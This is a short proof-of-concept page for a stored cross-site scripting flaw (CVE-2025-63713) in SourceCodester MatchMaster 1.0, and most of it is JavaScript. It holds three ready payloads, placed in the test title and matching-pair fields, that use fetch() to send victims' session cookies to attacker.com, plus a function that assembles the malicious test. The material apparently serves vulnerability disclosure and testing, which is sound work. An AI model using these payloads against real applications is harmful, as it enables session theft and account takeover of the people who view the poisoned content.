CVE-2025-63713: SourceCodester MatchMaster 1.0 XSS跨站脚本漏洞

// CVE-2025-63713 PoC - XSS in MatchMaster 1.0 // This PoC demonstrates the XSS vulnerability in the test creation feature // Payload 1: Stored XSS via Test Title const xssPayloadTitle = '<script>\n fetch("https://attacker.com/steal?cookie=" + document.cookie)\n<\/script>'; // Payload 2: XSS via Matching Pair Item (using img onerror) const xssPayloadItem = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+document.cookie)">'; // Payload 3: XSS using event handler const xssPayloadEvent = '<svg/onload=fetch("https://attacker.com/exfil?"+btoa(document.cookie))>'; // Simulate creating a malicious test function createMaliciousTest() { const testData = { title: xssPayloadTitle, pairs: [ { left: xssPayloadItem, right: 'Correct Answer' }, { left: 'Question 2', right: xssPayloadEvent } ] }; // In real attack, this would be submitted to the application console.log('Malicious test created with XSS payload'); console.log('Payload will execute when victim views the test'); return testData; } // When victim views the test, the following happens: // 1. Application retrieves test data from database // 2. Test title is inserted into HTML without encoding: <h1>{user_input}</h1> // 3. Browser executes the script tag // 4. Attacker gains access to victim's session createMaliciousTest();